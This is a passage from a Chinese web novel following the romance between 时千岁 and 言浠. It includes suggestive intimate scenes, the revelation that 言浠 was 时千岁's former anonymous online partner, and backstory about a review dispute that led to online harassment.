时千岁呼吸一紧,片刻后,轻轻咬出了心中的期待,“好。”
言浠褪掉她的外套长裤,又俯下身,去脱她沾满尘土的鞋子,
将脏衣服叠整齐放置到角落的板凳上。
回过头,看见小家伙那饱含湿气的眼睛,及脸颊上徒然升起的那抹诱人的红晕,喉咙不自觉地滚动了一下。
手指缓缓地移向了她身上那最后一件遮、挡。
指尖轻轻挑开纽扣。
目光像被无形的线牵引着,不受控地追随着手指向下,迎向了那一片令人心悸的白。
“我把毛巾和干净衣服给你们放外边凳子上了啊,”杨素琴的声音毫无预兆地穿透薄薄的挡板传来。
言浠被这突如其来的声音惊到,原本就带着热度的指尖猝不及防往下一滑,重重地按在了时千岁柔软的腰肢上。
“嗯”一声短、促的喘、息,瞬间从时千岁紧咬的齿缝中泄露出来。
言浠心脏猛地一缩,几乎是本能地抬手,紧紧捂住了时千岁的嘴。
两人身体瞬间僵住,屏住了呼吸。
直到隔板外脚步声彻底远去。
言浠这才缓缓松开了手。
时千岁不好意思道,“我有点敏感。”
“我自己调整一下。”
说着,转过了身,褪去最后的衣、物。
再次望见那如美玉般瓷白滑嫩的躯、体,言浠的目光依旧不受控制的被牢牢吸引。
她用力做了几个深呼吸,才勉强压下心头翻腾的燥热和绮念。
言浠转过身,沉默地打开水阀,调试水温,再高举起莲蓬头,固定。
恰到好处的温热水流自头顶流淌而下,包裹住她疲惫的身体。
时千岁发出一声舒服的喟叹。
就在这时,身后传来一阵窸窸窣窣衣物摩擦的声音。
时千岁疑惑回头。
只见言浠正在脱自己的衬衫。
时千岁脑子嗡地一声,说话也不利索了,“你你干什么?”
“地方太小,衣服被打湿了,很难受,索性一起洗吧,”言辞解释着,利落地脱掉了湿掉的衬衫,只剩一件黑色紧身背心,勾勒出流畅有力的线条。
她微微抬眸,目光看向眼前人呆滞的眼睛,嘴角勾起一抹若有似无的弧度,“怎么,你不是早就馋我身子了么?”
“可可可,”她还没有做好心理准备!
“早晚要习惯的,”言浠的声音平静,没有给时千岁任何思考和反驳的机会,手指勾住腰侧边缘,干脆利落的褪去了身上最后一丝束缚。
那片令人血脉偾张、充满成熟魅力的身躯,就那么猝不及防、明晃晃地完全展露在时千岁的眼前。
强烈的视觉冲击如同电流瞬间贯穿全身。
巨大的心跳声猛烈撞击着耳膜,撞得时千岁头脑发晕,眼前发花。
那句“早晚要习惯的”仿佛隔着一层厚厚的磨玻璃传来,她根本来不及深思其中含义,甚至连一个音节都发不出,张个人便完全宕机了。
接下来具体发生了什么,时千岁的记忆像蒙上了一层浓重的水雾,一片模糊混乱,
她只隐约记得一些断续的片段。
言浠的手指温柔地穿过她的湿发,揉搓出泡沫,冰凉的沐浴液被涂抹在皮肤上,又被温热的水流冲走,柔软干燥的毛巾包裹住她的身体,仔细擦干每一颗水珠,干净的衣服被一件件套上最后,她感觉自己被一个温暖而有力的怀抱稳稳抱起,走出那片氤氲着暧昧和慌乱的水汽,又被放在院子里微凉的夜风中。
晚风拂过发烫的脸颊,许久,时千岁才勉强找回一点神志。
她拼命想抓住刚才浴室里的每一个细节,每一句话,但脑子里却再也想不出其它。
没出息,太没出息了!
时千岁懊恼的恨不得给自己两巴掌
言浠把时千岁送出去后,就来到了杨老师身边,帮她给孩子们洗头。
杨素琴几次心不在焉,不是水温太烫就是不小心薅拽到了孩子们的头发。
惹得孩子们苦叫连连。
“还是我来吧,”言浠从杨素琴手中接过水舀,用手指试探了一下温度,再舀了些冷水倒了进去,“老师,你要是累了就先去休息,这里我自己就可以。”
杨素琴一副欲言又止的模样,手也紧紧地捂着口袋里鼓鼓囊囊的东西。
言浠指尖一顿,望向她,“老师,你有什么事吗?”
杨素琴连忙摇头,“没没有。”
话虽如此,但完全没有要离开的意思。
待孩子们全部收拾妥当,杨素琴急忙把她们往里屋一轰。
“言言啊,今晚你两睡我那间屋子,那间隔音好,我跟孩子们挤挤。”
言浠还没反应过来她话中含义,就见杨素琴谨慎朝四周望去。
确认无人后,身子凑了过来,“刚刚,我都听见啦。”
“喏,”杨素琴神神秘秘地从兜里掏出来一个小盒子,放到了她掌心,“我去了一趟卫生所,咱这边条件不行,你们必须要做好卫生啊。”
指、套???言浠看着盒子上那醒目的两个大字,脸一下子爆红,磕磕绊绊道,“不是不是你想的那样!”
“嗐,”杨素琴给了她一个“我懂得”的眼神,“老师可是过来人。”
言浠:“!!!!!”
被陌生人误会还无关紧要,被几乎看着她长大的长辈误会那就是相当尴尬的一件事了。
这股尴尬延续到了两人进了房间。
言浠紧紧地捂着那个烫手的盒子,简直坐立难安。
时千岁此时已经调整好了情绪,拖鞋上炕,钻进了被窝,见言浠一副大有心事的样子,不禁疑惑,“怎么了,不睡觉吗?”
言浠猛地抬起头,“睡!”
睡就睡,那么大声干嘛,吓她一跳,时千岁把被子掀开,拍了拍身侧位置。
言浠动作僵硬地躺了过去。
余光始终留意着时千岁。
终于趁她转头间隙,抓准机会把那个“烫手山芋”藏到了枕头底下。
“呼”言浠长长地吐出一口气,身体也随之放松下来。
时千岁把被子掖好,人紧接着往言浠怀里一滚,抱住了她的腰。
“今天杨老师告诉了我一些你小时候的事。”
浓密的睫毛遮挡住了眸光,言浠一时分辨不清小家伙的情绪,又怕她因为自己的事而伤感,便开解道,“那都是过去的事了,我都记不太清了。”
谁料,小家伙忽然重重地“哼”了一声,随即恶狠狠地瞪了过来,“过去什么过去,一点也过不去!”
言浠不明所以,“嗯?”
时千岁神秘兮兮,“猜猜我消失的那段时间干什么去了?”
想起言文青一家的惨样子,时千岁不免有些得意,“我去给你和我自己出气去了。”
看言浠一脸惊讶的样子,时千岁一股脑坐了起来,开始讲述她的精彩操作。
小家伙一会气愤地皱眉,一会又眉飞色舞,讲到言文青狼狈求忍不住直接笑出了声。
那清脆的笑声,被窗外的夜风裹着,轻轻拂过心湖,漾开一圈圈细密的涟漪。
言浠就那么静静地望着她,没有开口说一句话。
时千岁讲得口干舌燥,终于停下来,“你说我演技怎么样?够不够嚣张?够不够跋扈?”
时千岁凑近她,带着一丝试探,“你没有什么话要跟我讲吗?”
言浠刚欲开口,就被时千岁飞快地堵了回去,“你要是想说谢谢,那大可不必。”
话音未落,言浠的手已经伸了过来,圈住了她的手腕。
“不是,”言浠声音低沉带着一丝不易察觉地沙哑。
她微微倾身,拉近了两人本就不远的距离。
“想吻你。”
“咚”时千岁清晰地听到自己心跳狠狠撞击胸膛的声音。
接着一股强劲的力道猛地将她拽了过去。
那急切的吻,带着灼人的温度,如约而至,精准地封上了她的唇。
言浠的舌强势地撬开她的齿关,一路吮、吸纠缠、攻城略地。
灼热的气息交融,带着令人眩晕的缠绵。
感受到时千岁急促的呼吸和微微的推拒,言浠才稍稍放开,给予她一丝喘息的功夫,片刻又再度覆上。
两人吻得动情、忘我。
直到言浠的手不受控地钻入了衣摆。
捏住了她的腰。
时千岁小腹
一緊。
一聲短促的輕吟溢出喉嚨。
整个人瞬间软了力气,无意识地压向言浠。
这突如其来的重量让两人瞬间失去平衡,齐齐倒进了被褥里。
言浠瞬间回神。
于此同时,她清晰地感受到大腿上的那一片湿热。
时千岁显然也感受身体的异样,脸上发烫,匆匆别过了头,“我都说了,我有点敏感嘛。”
她慌忙想撑坐起来,手肘却不下心碰到了枕边的一个小方盒。
视线下意识地扫过去,看清盒子上露骨的文字时,整个人瞬间僵住。
言浠又感受到了一股暖、流滑下。
视线也追随她的目光落到了那小盒子上。
空气凝滞了几秒。
言浠的目光落回到了时千岁的脸上。
见她紧抿着唇,像是在极力忍耐着什么。
言浠犹豫片刻,轻轻开口。
“要不我帮你?”
50
第50章
◎【新收了个天赋异禀的小徒弟,但发现自己是她最讨厌的作者怎么办?】◎
这句话一说出口,空气仿佛瞬间被点燃。
时千岁的身体“噌”地窜起一股火,以燎原之势迅速蔓延,横冲直撞、肆无忌惮。
理智摇摇欲坠。
时千岁紧紧攥着被单,神色是前所未有的挣扎。
突然,隔壁木门发出“咯吱”一响。
两人身体一僵,瞬间屏住了呼吸。
清晰的脚步声,由远及近,停至门前。
犹豫片刻,杨素琴饱含歉意的声音自门后出现,“我就出来上个厕所,五分钟。”
旖旎氛围瞬间消失殆尽。
待脚步声远去,时千岁从言浠身上爬下来,笔直躺到一旁,无神地仰望天花板。
言浠面上燥热,憋了很久才开口试图缓解尴尬,“隔音好像不太行”
时千岁木讷地点了点头,附和道,“杨老师骗人。”
言浠眼尾余光瞄着她,试探道,“那”
时千岁猛地翻了个身,把小盒子重新塞回到了枕头底下,又抽出几张纸巾,帮言浠擦干净了自己遗留的痕迹。
接着跳下床,往出走,“我去收拾一下。”
时千岁换了一条干净的内、裤,随后来到院子里,呼吸了几口新鲜空气,摆开架势,打起了太极拳。
屈膝、分掌,退步、收手。
一套打完,神清气爽。
趁着头脑清明,时千岁拉了个小板凳,坐到院中,开始复盘言浠今天的举动。
先是帮她洗澡,又提出共浴,紧接着是接吻,甚至最后提出“帮”她。
虽然是“帮”,但言浠今天也是格外主动。
所以
这是不是代表言浠接受自己了?
想到这,时千岁脑海里轰然炸开了一朵五彩斑斓的烟花。
她猛地起身,飞快跑回屋。
门一关,时千岁靠在门上,大口呼吸。
言浠疑望过来,“怎么这么久?”
“这不重要,”时千岁一步步走近,眼神灼热,“我有事问你。”
言浠呼吸一滞,心跳开始变得不听使唤。
“你要不要和我”
好闻的香气逼近鼻端,落在身上的目光滚烫,言浠无法招架这道目光,匆匆别过了头。
时千岁在这短暂的间隙中,成功的抓住了她眼神中的挣扎。
刚刚还为之雀跃高高而抛到云端的心脏,在这一秒急速下坠,摔落在地,碎的四分五裂。
言浠感受到了她急速坠落的情绪,急忙坐起身,抓住了她的手,“听我说,我们回去再说好吗?”
时千岁勉强挤出个虚垮垮的笑,为所剩不多的自尊找补,“我没有别的意思。”
她顿了顿,“我是说,明天你要不要和我一起,去镇上给孩子们买点东西?”
言浠眉头微蹙,沉默片刻,低低应了声,“好。”
时千岁道了声晚安,躺回她身侧。
这次,两人中间隔了一个人的位置。
见言浠试探着靠近,时千岁默默转了个身,故作轻松道,“你莫勾引我。”
“我今天比较敏感,你再碰我,我怕我忍不住,让你上了我。”
身后人一声轻叹,起身再躺下。
“吧嗒”一声,关了灯。
屋子里彻底陷入黑暗,姐姐的那句“吊着你”开始在时千岁心里发酵。
她思绪翻涌,止也止不住。
不明白,更不理解,为什么都到了这个份上了,还会被再次推开。
想来想去,思绪最终还是一发不可收拾地滑向了那个最糟糕的答案。
哪怕她心里清楚言浠不是那种人
她们又在村里呆了三天。
期间,两人去学校当了一天监工,看着师傅们一点一点搭建孩子们的未来。
又去了一趟镇上,给孩子们置办了些衣物和书本文具。
时千岁还去了银行,把这几个月的稿费取了出来,一共八万四千三百一十块钱,全部塞给了杨素琴,说也想为教育事业出份力。
杨素琴推脱不下,只能暂且收下。
而关于感情。
小家伙依旧对她笑,和她闹。
看似和平常无异,但言浠心里清楚,自那晚过后,两人之间似乎有什么东西悄然改变了。
比如,小家伙开始下意识的回避一些过于亲密的肢体接触
转眼间,来到了分别的日子。
孩子们依依不舍地把她们送到了村头。
直升机已在空地上等待。
不知谁先开了个头,说了声,“姐姐,我舍不得你们。”
孩子们纷纷哭了,连杨素琴也红了眼眶,“一路保重啊。”
时千岁抹着眼泪挥手,“我会再来看你们的。”
率先登机的言浠,向时千岁伸出了手。
时千岁转身登机,指尖刚搭上她掌心,便下意识地缩了回去。
两人皆是一愣。
沉默无声。
坐到座位上,时千岁皱眉注视着自己的指尖,总觉得哪里隐隐出现了问题,她居然在抗拒言浠!
回想起这些天的种种异样,时千岁心中逐渐惊恐。
还好发现了,不然,这段感情怕是会
时千岁猛然抬头,口中的话和言浠的声音撞到了一起。
“我们好好聊聊吧。”
直升机大大缩短了行程,两人下午三点钟抵达北城。
刚下飞机,时千岁就接到了姐姐的夺命连环call,召唤二人紧急前往公司。
时千金的专属司机下一秒就出现在了二人眼前,将二人请上了车。
一路火花带闪电,压着限速线飙到了公司。
时千岁一进入公司,就感觉气氛有点不对。
前台小姐姐看到她也不开玩笑了,整个人毕恭毕敬的,称呼她为“时小姐”。
同事们拘谨异常,连话多的周琦琦也欲言又止。
怎么回事?时千岁疑惑地推开办公室大门。
只见时千金躺在沙发上呼呼大睡。
“老姐!”
时千岁连叫几声,时千金这才悠悠转醒。
“你们可算回来了,”她揉揉眼睛,坐起来,披上了西装。
“不是,老姐,你怎么还不回临海啊,你很闲吗?”
“废话,爸爸可是亲口说了让我把工作放一放,”时千金理直气壮,不玩够她是绝对不会回去上班的!
“既然你们回来了,我就不用在这里坐镇了,”她一分一秒都不想多呆,掏出车钥匙扔*给时千岁,“爸说车子和房子可以还给你了,但是你那个房子我得征用一下,”她得躲一躲,省得被抓回去上班。
时千岁:“”
额
说完,时千金头也不回走出了办公室,全程没看言浠一眼
言浠请假堆积了不少工作,且要忙一阵子。
时千岁没打扰,跑去原部门逛悠。
同事们见她出现在门口,同时噤了声。
真奇怪,时千岁疑惑地挠了挠头,紧接着走到了眼神闪躲的周琦琦身边,猛一拍她。
周琦琦“噌”地站起,紧张地咽口水。
“说,到底是怎么回事?”时千岁逼问。
周琦琦支支吾吾半天,憋出来一句,“你姐说你是她妹”
时千岁蒙了,“这哪跟哪儿?”
周琦琦深呼吸整理了一下语言,“来运集团的大boss时千金,是你亲姐姐?”
时千岁眯眼扫视周围同事,最后停留在周琦琦脸上,“所以你们就是因为知道了我的身份,才变得这么拘谨的对吗?”
“如果我想让你们区别对待,我大可以一开始就表明身份。”
见她隐隐有了怒意,周围同事全部围了上来,你一言我一语,解释着。
“我们不是这意思。”
“就是一时没做好心理准备而已”
时千岁重重哼了一声,“做什么心理准备,想让我给你们涨工资的准备吗?抱歉啊,我可没这权限。”
同事们纷纷被逗笑,气氛也随之活跃。
周琦琦探过手,“苟富贵,勿相忘?”
时千岁挑眉,“那不然呢。”
周琦琦兴奋地“嗷”了一嗓子,“咱今天也是抱上大腿了。”
“我周琦琦没什么优点,就是眼光好,要不然你怎么能当我偶像呢,小美人,以后有事请尽情吩咐你的小牛马。”
“好说,好说,”时千岁晃了晃车钥匙,“下班带你兜风,去不去。”
周琦琦眼睛都直了,“必须的!”
言浠忙完到家已晚上9点钟,小家伙请同事吃饭,还没回。
她刚打算洗澡,就接到了韩曲凌的语音电话。
“怎么样,回老家还顺利吗?”
言浠简单的回了个“嗯”字。
韩曲凌又说,“恭喜你啊,终于脱单了,有没有给我准备喜糖啊?”
言浠沉默一瞬,低低道,“还没在一起。”
“什么?”韩曲凌这边不淡定了,小时不都已经追过去了吗?按道理早就应该修成正果了,“你到底在墨迹什么!”
“人家父母那里都同意了,你还有什么顾虑?还是因为年龄?性别都不重要了,年龄重要吗?
“还是你觉得她冲动,分手后没过几天就喜欢上了你,觉得不靠谱?”
言浠静静道,“问题就在这。”
“不是,”韩曲凌急忙开解,“她开始喜欢你,分开后,喜欢的还是你,怎么不算从一而终?”
言浠把窗帘拉开,望着浓浓夜色,缓缓呼出一口气,“不是这个问题。”
韩曲凌一时没反应过来,“嗯?”了一声。
言浠说,“她还不知道,我就是那个玩弄了她感情的网恋对象。”
“这件事,我也没想好该怎么开口跟她解释。”除了不知道如何开口,更多的是对未知结果的恐惧,“但无论如何,在我们正式在一起之前,她有权知道所有的真相。”
韩曲凌沉默片刻,说了句,“这事也赖我,我当初就不应该给你出那些馊主意。”
“好了,现在说这些没用,让我自己想想。”
时千岁带周琦琦和徐梦瑶兜了风,又请她们吃了米其林餐厅。
结束后,挨个给人送回家。
“就停到这吧,”周琦琦跳下车,犹豫片刻,说道,“这次就不跟你A了哈。”
“一个冰淇淋就5800!”周琦琦痛心疾首,“我A不起。”
“小美人,听我说,下次咱还是吃路边摊吧,恕我野猪吃不了细糠,”那么老贵,难吃不说,关键还吃不饱!!!
“哈哈哈!”时千岁笑道,“行。”
见周琦琦不走。
时千岁挑了挑眉,“还有事?”
周琦琦举手,“我能问一下,上次你说你很穷,只剩五六百了,那个单位是达布扭吗?”
时千岁摊手,“不然呢。”
“嘿,”周琦琦牙疼。
她这个没见过世面的东西。
“那我能再弱弱地问一句吗,你上次送我的香薰,多少钱?”
这个还真不知道,毕竟老姐没告诉她。
周琦琦见状,伸出五根手指,“你就说有没有这个数吧?”
毕竟出自名匠之手,那肯定是有的,时千岁刚一点头,就见周琦琦猛地蹿了出去,大声嚷嚷,“我现在立马回家给它供起来!”
时千岁:“”
送完周琦琦,时千岁直接一脚油门回到了小区。
车刚停稳,人已蹿出好几步。
她用最快速度上楼。
掏钥匙,开门。
客厅的灯依旧亮着,卫生间人影晃动。
看来言浠没有忘记要和自己谈心这件事。
时千岁一颗心这才落回到了肚子里,换了拖鞋,她推门走进了卧室。
卧室没开灯,以至于她一眼就看到了摊放在床上,发着莹莹蓝光的笔记本电脑。
时千岁本无心窥探。
但这个位置属实过于明显。
她绕到床边开灯,目光不经意间扫过屏幕。
一个异常熟悉的微信页面就这么明晃晃地撞入了眼底。
一片空白的头像、一片空白的昵称。
像极了和她畅聊三个月又莫名断联的网恋对象。
时千岁不敢相信,指尖慢慢移到了鼠标上,点开了这个微信详细资料。
看见微信号的那一刻,心存的最后一丝侥幸彻底破灭。
脑子一片空白。
只剩一个声音炸响在耳际。
言浠居然就是她那个莫名断联的网恋对象!
但为什么?
她为什么这么做?
时千岁百思不得其解,直到目光滑向了电脑中摊开的另一个画面。
那是一个作者论坛中发的帖子。
标题是——
【新收了个天赋异禀的小徒弟,但发现自己是她最讨厌的作者怎么办?】
50-58
第51章
◎言浠,我是让你拿出诚意,不是让你不要脸!◎
时千岁眸光剧烈晃动。
指尖颤动着点开了那个帖子。
发帖人ID“言语言轻”:“闲来无事收了个小徒弟,文字很有灵性人也很有趣,我很喜欢。但是,上次我们聊天无意中提到了她最讨厌的作者,结果中奖了,是我。”
评论区往下滑。
【五星大佬也需要试梗吗?好了,有cp感行了吧,下一个。】
【分!立马分,建议咕咕收我!】
ID韩某某爱吃瓜:【宿敌是不可能成为妻子的/老师是不可能成为妻子的(bushi),有点磕了,留个屁股,在一起了记得踢我一脚。】
言语言轻回复楼上:【没开玩笑,她之前给我打过负分,写了长评,当时给我造成了很大的困扰。】
韩某某爱吃瓜:【细说。】
言语言轻:【不能讲太多,会掉马,私聊。】
隔了几层楼,韩某某爱吃瓜再度出现。
【太过分了,听了咕咕的遭遇好心疼,所以必须要好好教训一下她!】
言语言轻:【大家拿个主意吧,我该怎么办?】
评论五花八门。
其中“韩某某爱吃瓜”出的损招最为亮眼。
【其实挺简单的,一共分两步。】
【1、白天关心她,晚上勾引她,把她吊成翘嘴鱼。】
【2、等她欲罢不能时,断崖式甩掉她。】
看到这里,时千岁从一开始的震惊,逐渐归于平静。
难过?生气?还是其他情绪?没有,统统没有,她此时的内心平静得就如同无风的海面,泛不出一丝浪花。
时千岁面无表情地关掉电脑页面,又木然地走到窗边,平静地想。
言浠到底对自己有没有感情呢?
如果有,她明明有那么多次机会在自己怀疑她电脑有秘密时坦诚、解释。
但偏偏每次都选择了隐瞒和欺骗。
还是说,她只是为了报复?
卧室门“咯吱”一响。
脚步声由远及近,冰凉的指尖小心翼翼搭上了她的肩膀。
“你都看到了吧?”
言浠声音出响起的那一刻,无风的海面撕开了一道裂痕,旋涡卷起巨浪,铺天盖地地砸向时千岁,几乎要将她吞没。
她蓦地转过头,一双眼睛红的吓人。
“好厉害啊,前妻姐。”
“这该死的缘分。”
这句熟悉的话,始于心动的开始,此刻却无比讽刺。
言浠被她眼中陌生的寒意刺得心中一痛,伸出的手僵在半空。
时千岁趁势一把将她推开,夺门而出。
言浠反应过来,急忙追出去。
“这么晚了,你去哪儿?你能不能听我好好解释?”
时千岁嘴角牵出一抹冷笑,“解释什么?解释你没有玩弄过我的感情?还有,请你摆正身份,你现在是前任,有什么资格管我去哪!”
言浠拉住她的袖子,声音也带了一丝小心翼翼,“我现在很后悔,你能不能”
时千岁猛地甩开她的手,“你看我像小丑吗?逗弄我很好玩?你说的话我现在一个字也不信!”她使劲戳了几下电梯键,电梯门刚打开一个缝,便急忙钻了进去。
言浠紧随其后。
时千岁把人往外推,奈何力气没她大,僵持不下,只能干瘪瘪的威胁,“你能不能别跟着我!”
言浠这次异常坚决,“不行。”
时千岁狠狠瞪她一眼,牙缝里挤出了三个字,“随便你!”
出了电梯,时千岁往小区门口走。
言浠始终和她保持一米左右的距离,跟着,怎么也甩不掉。
远远看见停在门口的法拉利,时千岁偷偷摸出钥匙,按了解锁键,疾步冲过去钻进车里,关门上锁,油门一踩扬长而去。
言浠急忙找到自己的车,点火启动,朝时千岁离开的方向追去。
她猛踩油门,引擎轰鸣。
却因动力悬殊,被远远拉开。
最后只能眼睁睁看着那抹金色流光消失在了茫茫夜色里。
巨大的恐慌,如同浓重的夜幕,将她紧紧包裹,瞬间蔓延的痛意和窒息感让她眼前发黑,言浠急忙把车停靠路边,大口喘息
凌晨十二点整,时千金看完一部恐怖电影,正打算睡觉。
客厅大门处突然传来一阵响动,紧接着是几次“密码错误”的提示音。
时千金心脏猛地一跳,汗毛倒竖。
她忐忑地下床,往出走,“谁谁呀?”
回应她的是一阵虚弱无力的敲门声。
“叩、叩、叩。”
时千金的心提到了嗓子眼,慢慢挪到门口,透过猫眼向外张望。
首先映入眼帘的是一张苍白的脸。
时千金“嗷”一嗓子,叫出了声。
发泄完,才恍然觉得,门外那人好像有点熟悉
像极了她那个傻妹妹。
时千金瞬间气不打一出来,猛地拉开门,对着时千岁就是一顿吼,“你在外边装神弄鬼的干什么呢!大半夜的想吓死谁啊!!!”
见时千岁始终低着头沉默着。
时千金终于察觉出异常。
“你没事吧?”
听到姐姐的声音,时千岁压抑整晚的情绪终于决堤,猛地扑进她怀里,放声大哭,宣泄着满腹的委屈。
时千金急忙把她带到沙发坐下,抽出几张纸巾帮她擦拭眼泪,“怎么了这是?谁又欺负你了?”
时千岁哽咽道,“还能还能有谁”
“又是言浠?”时千金瞬间火冒三丈,猛地从沙发上站起,“我上次怎么跟你说的?我就说她不靠谱你非不信,现在又跑我面前哭,时千岁,你真是”她看着哭成泪人的妹妹,那句“活该”还是没忍心说出口。
叹了口气,她坐回沙发,把人搂近怀里柔声安抚,“跟姐姐说说,到底发生了什么?”
时千岁不知道怎么开口,如果把无故拉黑自己的前女友就是言浠这事告诉姐姐,言浠在她姐心中就彻底完了。
或许是心中还仍留有那么一丝期盼,时千岁选择了闭口不言。
时千金猜测,“难不成她还是不肯和你在一起?”
见她沉默,时千金拍沙发而起,“她言浠凭什么啊!别让我见到她,否则我一定要她好看!”
时千岁见她姐真动了怒,顾不上擦干眼泪,拉了拉她袖子,“姐,我这次真知道错了,以后再也不当舔狗了,你别生气了。”
这边,言浠缓了十分钟,勉强冷静了下来。
她开始拨打时千岁的电话。
从无人接听到占线。
言浠锲而不舍。
直到听筒里响起了“您拨打的电话已关机”的提示音。
言浠转而联系时千金。
不出所料,依旧无人接听。
言浠又给时来运和梁双敏留了言,在没有得到回复后,又去找平时和时千岁关系较好的同事询问。
得到的回答,通通是“不知道”。
即便这样,言浠依旧没有放弃,她打开时千岁所有的社交软件,试图寻找蛛丝马迹。
从朋友圈到微博。
时千岁没有任何新动态。
言浠不死心,像个窥探狂一样,逐条仔细查看。
终于,两个小时之后,在数以万计的评论里,捞到了一个名为“春意盎然”的ID。
看到名字的那一刻,言浠内心涌起无比强烈的预感,结合ip地址,她打开私信试探,【大春?】
“春意盎然”秒回:【是我,请问你是?】
言浠于二十分钟后,抵达了时千岁的“秘密基地”。
屏息,敲响大门。
里面传来时千金不耐烦的声音,“谁啊?”
言浠垂眼,低声道,“是我。”
依稀听着里边一声怒骂,“靠!”
接着是暴躁的脚步声,大门被大力打开,时千金怒气冲冲的脸出现在眼前。
“你还有脸来?”
言浠微微颔首,“时千岁还好吗?”
她试图向内张望,视线却被时千金牢牢挡住。
时千金冷冷吐出一个字,“滚。”
说完,转身往里走。
大门却被言浠死死抓住,“我想见她。”
怎么跟大春似的,那么大牛劲呢!时千金使劲拉门,纹丝不动,
气急了,一把揪住言浠的领子,把人往电梯口拽,“下楼,我们聊聊。”
来到楼下,两人站的位置刚好能瞥见时千岁的卧室窗户。
时千金沉着脸,再次挡住了她的视线。
“我就纳闷了,言浠,你算什么东西?哪来的胆子一而再再而三伤我妹的心?我的忍耐是有限度的,趁着我还没彻底撕破脸,麻溜地滚,以后别让我妹再看见你。”
“不可能。”
言浠拒绝得斩钉截铁。
但不同于第一次谈及这个话题时的戾气,这次她姿态放得很低。
“不是,”时千金简直无语,“你到底想怎样啊?”
言浠跟时千金讲了她们在老家时候发生的事,解释道,“当时终止“在一起”的话题,是因为有件事必须要向她坦白,当然,具体不方便告诉你。其次,虽然伯父和伯母同意了,但我始终觉得,心意应该由我亲口向她们表明,不能让千岁独自承担。”
“最后,我欠她一个正式的表白。”
前半句像托词,后面还有那么一点意思,“但,我可没我妹那么好骗,”时千金睨着她,“想追我妹,总得拿出点诚意来吧。”
沉默片刻,言浠往前一步,无比真诚地握住了时千金的手,“可以吗,姐?”
“???”
时千金浑身一僵,震惊道,“我同意了吗,你就改口?”
“言浠,我是让你拿出诚意,不是让你不要脸!”
言浠握得更紧了些,语重心长,“早晚都是一家人,你先习惯习惯。”
“姐姐。”
【作者有话说】
“春意盎然”就是在时千岁那条秀恩爱的微薄下,回复:kswl祝99的那个~
没错,就是她,big春!
52
第52章
◎你两,一个恋爱脑,一个不要脸,给我锁死!◎
“姐,你回来了?”时千岁在客厅里坐着,红肿着眼睛,眼巴巴地望向门口。
时千金闻声一愣,拧眉道,“怎么还不睡?”
“噢”时千岁垂下眼帘,掩饰心虚,“我出来倒杯水喝。”
“呵呵,”时千金懒得拆穿,低头换鞋。
时千岁紧紧抓着水杯,挣扎几番,问道,“是言浠来了吗?”
“你不是知道了,还问?”时千金白了她一眼,实在没忍住,冲到她面前质问,“你咋想的啊?说好的不当恋爱脑,不当舔狗,要跟那姓言的一拍两散,老死不相往来!结果呢?转头就把地址告诉她?”
时千岁小声反驳,“老死不相往有点太严重了吧”见时千金黑了脸,又急忙发誓,“真的不是我告诉她的!”
“不是你,还可能有谁?这地方除了你我爸妈还有”话说一半,戛然而止。
姐妹俩,对视一眼,异口同声,“大春?”
时千金:“”
这姓言的,倒有几分本事,竟然能找得到大春
“姐”时千岁还是没忍住,问道,“那你给言浠赶走了吗?”
赶走?提到这就一肚子气,时千金恨得牙痒痒,“臭不要脸的。”
“嗯?”时千岁没听清,“姐你说什么?”
“没什么,我才懒得管她,愿意站岗就让她站,看她能挺多久!”说完这句,时千金匆匆转身,走向卧室。
时千岁:“???”
怎么总觉得老姐的语气有些挫败呢?
时千岁从冰箱里拿出冰袋给眼睛消了消肿,又倒了杯水,端进了卧室。
卧室关着灯,只有一丝浅薄的月光顺着窗帘缝隙偷溜进房间,时千岁顺着这一抹微光望向楼下那个长久伫立的人影。
那道人影若有所感地抬起头。
两道视线隔着沉沉夜暮相撞。
像极了初始时,那斑驳树影下的惊鸿一瞥,同样的猝不及防、同样的仓惶狼狈。
时千岁深深吐出一口气,压下因回忆而翻涌起的酸涩。
缓了缓,她强行收回目光,把窗帘严丝合缝地拉上,钻进被窝里。
枕边手机发出嗡嗡声响,扰得她毫无睡意。
时千岁探出一只手,把手机捞进了被子里。
指尖一滑,微信里蹦出了满屏的小红点。
时千岁自动忽略置顶那人的消息,挨个给关心她的同事们报平安。
轮到大春。
时千岁回了两个大字:【叛徒!】
big春既焦急又八卦:【你们两个到底因为什么吵架啊?有什么话不能好好说,干嘛离家出走?现在怎么样了?言小姐把你接回去了吗?你们和好了吗?】
时千岁现在没心情解释那么多,于是回道:【千金姐去抓你喽。】
big春紧急下线。
就在时千岁回复完所有人打算睡觉时,屏幕中弹出了一条来自韩曲凌的消息。
她指尖一顿,犹豫几秒才点开。
韩曲凌:【嗨,你现在还好吗?】
时千岁把被子打开一个缝隙透了口气,这才不紧不慢回道:【好得很,韩某某爱吃瓜老师。】
韩曲凌:【】
时千岁问:【是你没错吧?】
韩曲凌:【聪明】
呵呵,聪明?聪明能被耍得团团转?
时千岁自嘲地勾了勾嘴角:【吃瓜老师过奖了,属实是你名字过于明显了。】
韩曲凌发了个滑跪的表情包。
【我来找你,一方面是想跟你道歉,还有一方面,是想把帖子事情跟你好好解释一下,因为我想,以言浠的性格,她可能会怕你内疚闭口不谈。】
嗯?什么意思?
时千岁那时情绪上头,根本顾不得深究,此时回想起来,好像隐隐记得其中一句话。
【我到底给她造成什么影响了?】
韩曲凌说:【言浠经历了网暴。】
时千岁内心震撼。
【但这跟我有关系吗?】
韩曲凌回道:【没有直接关系,但有间接关系,起初我们以为你是知道的,接触过后才知道你不知道。哎呀我在说什么绕口令】
时千岁更蒙了。
韩曲凌又发,【你记不记得你给言浠写的负分长评是什么?】
时千岁回忆了下。
她那时候痴迷看小说,老去金榜上找文看,一次偶然,翻到了一本现实向的感情流。
那本书写道,主角成长于穷苦家庭,从小便不受关爱,长大后更是被自私母亲当做赚钱工具供弟弟上学,直到遇到另一位女主,将她拉出泥潭,让她有了对抗原生家庭、对抗世俗的勇气。
时千岁看得难受了好几晚,实在没忍住写了长评。
大概是——这不叫现实向,而是在放大苦难。还有,我觉得您感情线处理的很生硬,主角又不是救世主,怎么可能莫名其妙喜欢上一个什么都没有的人?
结果受到了该作者粉丝的炮轰。
时千岁一气之下,就把这篇文发到了微博,就没再关注后续了。
韩曲凌给她解释:【你低估了自己的影响力,你好歹拥有十几万粉丝呢。】
结果就是时千岁和言浠两边的粉丝撕起来了,正巧给了一些心思不正人可乘之机,比如同行落井下石。
事情愈演愈烈,一开始骂声指向书中人物,渐渐的开始指向作者本人。
说言浠,为什么写恶心的妈不写恶心的爸?还有什么不写弟弟会死吗?
总之,“爱男”。
那本文被迫关了评论区。
